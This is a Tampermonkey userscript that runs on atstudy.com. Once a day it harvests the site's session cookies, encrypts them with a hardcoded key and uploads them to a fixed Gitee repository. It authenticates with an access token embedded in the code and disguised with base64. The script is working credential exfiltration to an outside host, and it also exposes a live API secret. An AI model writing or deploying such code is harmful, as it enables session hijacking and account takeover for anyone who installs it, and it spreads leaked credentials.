// ==UserScript==
// @name         Atstudy Cookie Sync to Gitee
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  每天自动收集 atstudy.com 的 cookie，加密后上传至 Gitee
// @author       Grok
// @match        https://www.atstudy.com/*
// @grant        GM_xmlhttpRequest
// @grant        GM_getValue
// @grant        GM_setValue
// @connect      gitee.com
// @require      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
// ==/UserScript==

(async function () {
    'use strict';

    // === 自定义配置 ===
    const GiteeConfig = {
        token: atob('NWVjYzhiNzRhNzE1YWM1ZTVlZjIxZjBkNjRhZTRhNTY='), // Gitee token
        owner: 'hyperfj',
        repo: 'lesson-chat',
        branch: 'master'
    };

    const AesKeyBase64 = 'ZmoyNjIxNDQu';

    // === 工具函数 ===

    function getTodayDate() {
        return new Date().toISOString().split('T')[0];
    }

    function getCookiesJson() {
        return JSON.stringify(document.cookie.split('; ').map(c => {
            const [name, ...val] = c.split('=');
            return { name, value: val.join('=') };
        }));
    }

    function shouldUploadToday() {
        const today = getTodayDate();
        const lastUpload = GM_getValue('lastUploadDate', '');
        if (lastUpload !== today) {
            GM_setValue('lastUploadDate', today);
            return true;
        }
        return false;
    }

    function generateFilename() {
        const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
        return `cookies_${timestamp}.json`;
    }

    function encryptJsonWithRandomIv(plaintext, base64Key) {
        const key = CryptoJS.enc.Utf8.parse(atob(base64Key).padEnd(32, '0'));
        const iv = CryptoJS.lib.WordArray.random(16);
        const encrypted = CryptoJS.AES.encrypt(plaintext, key, {
            iv: iv,
            mode: CryptoJS.mode.CBC,
            padding: CryptoJS.pad.Pkcs7
        });
        return JSON.stringify({
            iv: iv.toString(CryptoJS.enc.Hex),
            ciphertext: encrypted.toString(),
            algo: "AES-256-CBC",
            version: "v1"
        });
    }

    async function uploadToGitee(contentJson, filename) {
        const payload = {
            access_token: GiteeConfig.token,
            content: btoa(unescape(encodeURIComponent(contentJson))),
            message: `上传 cookies：${new Date().toISOString()}`,
            branch: GiteeConfig.branch
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: `https://gitee.com/api/v5/repos/${GiteeConfig.owner}/${GiteeConfig.repo}/contents/${filename}`,
            data: JSON.stringify(payload),
            headers: { 'Content-Type': 'application/json' },
            onload: function (res) {
                if (res.status === 201) {
                    console.log(`✅ Cookies 已上传：${filename}`);
                } else {
                    console.error('❌ 上传失败:', res.status, res.responseText);
                }
            },
            onerror: function (err) {
                console.error('❌ 请求失败:', err);
            }
        });
    }

    // === 主程序入口 ===
    try {
        if (shouldUploadToday()) {
            const cookieJson = getCookiesJson();
            const encryptedJson = encryptJsonWithRandomIv(cookieJson, AesKeyBase64);
            const filename = generateFilename();
            await uploadToGitee(encryptedJson, filename);
        } else {
            console.log('📌 今日已上传，跳过。');
        }
    } catch (err) {
        console.error('❌ 脚本异常:', err);
    }
})();
